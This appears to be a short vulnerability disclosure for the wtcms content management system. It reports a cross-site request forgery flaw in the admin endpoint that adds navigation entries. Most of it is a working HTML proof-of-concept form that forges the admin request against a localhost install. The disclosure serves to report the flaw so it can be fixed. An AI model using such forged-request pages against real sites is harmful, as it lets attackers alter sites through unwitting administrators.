You can add articles in admin background, but there is a CSRF vulnerability.     #### POC ``` <html> <body> <script>history.pushState('', '', '/')</script> <form action="http://localhost/cms/wtcms-master/index.php?g=admin&m=nav&a=add_post" method="POST"> <input type="hidden" name="cid" value="3" /> <input type="hidden" name="parentid" value="72" /> <input type="hidden" name="label" value="CSRF Test" /> <input type="hidden" name="nav" value="on" /> <input type="hidden" name="external_href" value="http://" /> <input type="hidden" name="target" value="" /> <input type="hidden" name="icon" value="" /> <input type="hidden" name="status" value="1" /> <input type="submit" value="Submit request" /> </form> </body> </html> ```
You can add articles in admin background, but there is a CSRF vulnerability.
POC